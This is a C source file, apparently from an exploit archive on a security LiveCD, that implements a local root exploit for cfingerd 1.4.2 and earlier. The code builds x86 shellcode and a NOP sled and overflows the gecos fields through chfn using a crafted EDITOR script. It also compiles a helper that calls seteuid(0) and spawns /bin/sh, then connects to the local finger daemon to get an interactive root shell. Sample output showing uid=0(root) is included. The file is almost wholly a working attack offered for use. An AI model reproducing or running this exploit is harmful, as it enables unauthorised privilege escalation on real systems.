home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / finger / cfingerd / babcia-fingerd.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  6KB  |  264 lines

  1. /*
  2.  *********************************************************
  3.  *     babcia padlina ltd. cfingerd local root exploit   *
  4.  *********************************************************
  5.  *
  6.  * Synopsis:
  7.  *
  8.  *   Cfingerd is vulnerable to local buffer overflow attack.
  9.  *
  10.  * Vulnerable versions:
  11.  *
  12.  *   Cfingerd 1.4.2 and earlier installed on systems which
  13.  *   doesn't limit gecos length.
  14.  *
  15.  *********************************************************
  16.  *
  17.  * RET: bfbfd7d2
  18.  * PTR: bfbfd750
  19.  *
  20.  * setting up...
  21.  *
  22.  * Username: ÉÉÉÉÉÉÉÉÉÉδ#^ì_ë^_1╥ëV_ëV_ëV_êV_1└░;In real life:
  23.  *
  24.  * Home directory: ╘╫┐┐Ue_(            Shell: ëâ@Γ
  25.  * Room: ÉÉÉÉÉÉÉÉÉÉÉÉδ#^ì_ë^_1╥ëV_ëV_ëV_êV_1└Work phone:
  26.  * Home phone:                         Other:
  27.  *
  28.  * This user has no mail or mail spool.
  29.  * Last seen Sun Sep 19 01:09 PM (CEST) from lagoon.gadaczka
  30.  *
  31.  * uid=0(root) gid=0(wheel) groups=0(wheel)
  32.  *
  33.  *
  34.  *********************************************************/
  35.  
  36. #include <stdio.h>
  37. #include <stdlib.h>
  38. #include <unistd.h>
  39. #include <errno.h>
  40. #include <sys/types.h>
  41. #include <sys/socket.h>
  42. #include <netinet/in.h>
  43. #include <netdb.h>
  44. #include <string.h>
  45.  
  46. #define BUFFER_SIZE     80
  47. #define ADDRS           190
  48. #define PTROFS          200
  49. #define RETOFS          330
  50. #define NOP             0x90
  51. #define FILE1           "user.inf"
  52. #define FILE2           "hack"
  53. #define FILE3           "set"
  54. #define FINGER          79
  55. #define MAXLINE         1024
  56. #define LOCALHOST       0x7f000001
  57. #define GREEN           "\033[1;32m"
  58. #define RED             "\033[1;31m"
  59. #define NORM            "\033[1;39m"
  60. #define UNBOLD          "\E[m"
  61.  
  62. long getesp(void)
  63. {
  64.   __asm__("movl %esp,%eax\n");
  65. }
  66.  
  67. void sh(sockfd)
  68. int sockfd;
  69. {
  70.   char buf[MAXLINE];
  71.   int c;
  72.   fd_set rf, drugi;
  73.  
  74.   FD_ZERO(&rf);
  75.   FD_SET(0, &rf);
  76.   FD_SET(sockfd, &rf);
  77.  
  78.   while (1)
  79.     {
  80.       bzero(buf, MAXLINE);
  81.       memcpy (&drugi, &rf, sizeof(rf));
  82.       select(sockfd+1, &drugi, NULL, NULL, NULL);
  83.       if (FD_ISSET(0, &drugi))
  84.         {
  85.           c = read(0, buf, MAXLINE);
  86.           send(sockfd, buf, c, 0x4);
  87.         }
  88.  
  89.       if (FD_ISSET(sockfd, &drugi))
  90.         {
  91.           c = read(sockfd, buf, MAXLINE);
  92.           if (c<0) return;
  93.           write(1,buf,c);
  94.         }
  95.     }
  96. }
  97.  
  98. int connectto(void)
  99. {
  100.   int sockfd;
  101.   char sendbuf[MAXLINE];
  102.   struct sockaddr_in cli;
  103.  
  104.   bzero(&cli, sizeof(cli));
  105.   cli.sin_family = AF_INET;
  106.   cli.sin_addr.s_addr=htonl(LOCALHOST);
  107.   cli.sin_port = htons(FINGER);
  108.  
  109.   if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
  110.     {
  111.       perror("socket");
  112.       return -1;
  113.     }
  114.  
  115.   if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0)
  116.     {
  117.       perror("connect");
  118.       return -1;
  119.     }
  120.  
  121.   sprintf(sendbuf, "%.1023s\n", getenv("LOGNAME"));
  122.   write(sockfd, sendbuf, strlen(sendbuf));
  123.  
  124.   sleep(1);
  125.  
  126.   sprintf(sendbuf, "%.900s/%s\n", getenv("HOME"), FILE3);
  127.   write(sockfd, sendbuf, strlen(sendbuf));
  128.  
  129.   sleep(1);
  130.  
  131.   sprintf(sendbuf, "id\n");
  132.   write(sockfd, sendbuf, strlen(sendbuf));
  133.  
  134.   unlink(FILE3);
  135.  
  136.   fflush(stdout);
  137.   fflush(stderr);
  138.  
  139.   sh(sockfd);
  140.  
  141.   return;
  142. }
  143.  
  144.  
  145.  
  146. int main(argc, argv)
  147. int argc;
  148. char **argv;
  149. {
  150.   char *buf1 = NULL, *buf2 = NULL, *p = NULL;
  151.   u_long *addr_ptr = NULL;
  152.   int noplen, i, bufsize = BUFFER_SIZE, addrs = ADDRS, ptrofs = PTROFS;
  153.   int retofs = RETOFS;
  154.   long ret, ptr;
  155.   FILE *phile;
  156.  
  157.   char execshell[] =
  158.     "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
  159.     "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
  160.     "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
  161.     "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";
  162.  
  163.   fprintf(stderr, "\n%sbabcia padlina ltd. cfingerd local root exploit%s%s\n\n", GREEN, NORM, UNBOLD);
  164.  
  165.   if(argc > 5)
  166.     {
  167.       bufsize = atoi(argv[1]);
  168.       addrs = atoi(argv[2]);
  169.       ptrofs = atoi(argv[3]);
  170.       retofs = atoi(argv[4]);
  171.     }
  172.  
  173.   if(!(buf1 = malloc(bufsize+1)))
  174.     {
  175.       perror("malloc()");
  176.       return -1;
  177.     }
  178.  
  179.   if(!(buf2 = malloc(addrs+1)))
  180.     {
  181.       perror("malloc()");
  182.       return -1;
  183.     }
  184.  
  185.   ret = getesp() + retofs;
  186.   ptr = getesp() + ptrofs;
  187.  
  188.   noplen = bufsize - strlen(execshell);
  189.   memset(buf1, NOP, noplen);
  190.   strcat(buf1, execshell);
  191.  
  192.   p = buf2;
  193.   addr_ptr = (unsigned long *)p;
  194.  
  195.   for(i = 0; i < (addrs / 4) /2; i++)
  196.     *addr_ptr++ = ptr;
  197.  
  198.   for(i = 0; i < (addrs / 4) /2; i++)
  199.     *addr_ptr++ = ret;
  200.  
  201.   p = (char *)addr_ptr;
  202.   *p = '\0';
  203.  
  204.   if ((phile = fopen(FILE1, "w")) == NULL)
  205.     {
  206.       perror("fopen()");
  207.       return -1;
  208.     }
  209.  
  210.   fprintf(stderr, "%sRET: %s%x\n%sPTR: %s%x%\n\n%ssetting up...%s%s\n",
  211.           GREEN, RED, ret, GREEN, RED, ptr, GREEN, NORM, UNBOLD);
  212.  
  213.  
  214.   fprintf(phile, "#Changing user database information for %s.\n"
  215.           "Shell: %s\n"
  216.           "Full Name: %s\n"
  217.           "Office Location: %s\n"
  218.           "Office Phone: \n"
  219.           "Home Phone: \n"
  220.           "Other information: \n",
  221.           getenv("LOGNAME"), getenv("SHELL"), buf2, buf1);
  222.  
  223.   fclose(phile);
  224.  
  225.   if ((phile = fopen(FILE2, "w")) == NULL)
  226.     {
  227.       perror("fopen()");
  228.       return -1;
  229.     }
  230.  
  231.   fprintf(phile, "cat user.inf>\"$1\"\n");
  232.   fprintf(phile, "touch -t 2510711313 \"$1\"\n");
  233.  
  234.   fclose(phile);
  235.  
  236.   sprintf(buf1, "%s.c", FILE3);
  237.  
  238.   if ((phile = fopen(buf1, "w")) == NULL)
  239.     {
  240.       perror("fopen()");
  241.       return -1;
  242.     }
  243.  
  244.   // buffer is too small to execute seteuid/setegid there, so we have
  245.   // to do this here.
  246.  
  247.   fprintf(phile, "main() { seteuid(0); setegid(0); system(\"exec /bin/sh\"); }");
  248.   fclose(phile);
  249.  
  250.   sprintf(buf2, "/usr/bin/cc -o %s %s.c", FILE3, FILE3);
  251.  
  252.   system(buf2);
  253.   unlink(buf1);
  254.  
  255.   system("EDITOR=./hack;export EDITOR;chmod +x hack;chfn > /dev/null 2>&1");
  256.   unlink(FILE1);
  257.   unlink(FILE2);
  258.  
  259.   if (connectto() < 0)
  260.     return -1;
  261.  
  262.   return 0;
  263. }
  264. /*                    www.hack.co.za              [2000]*/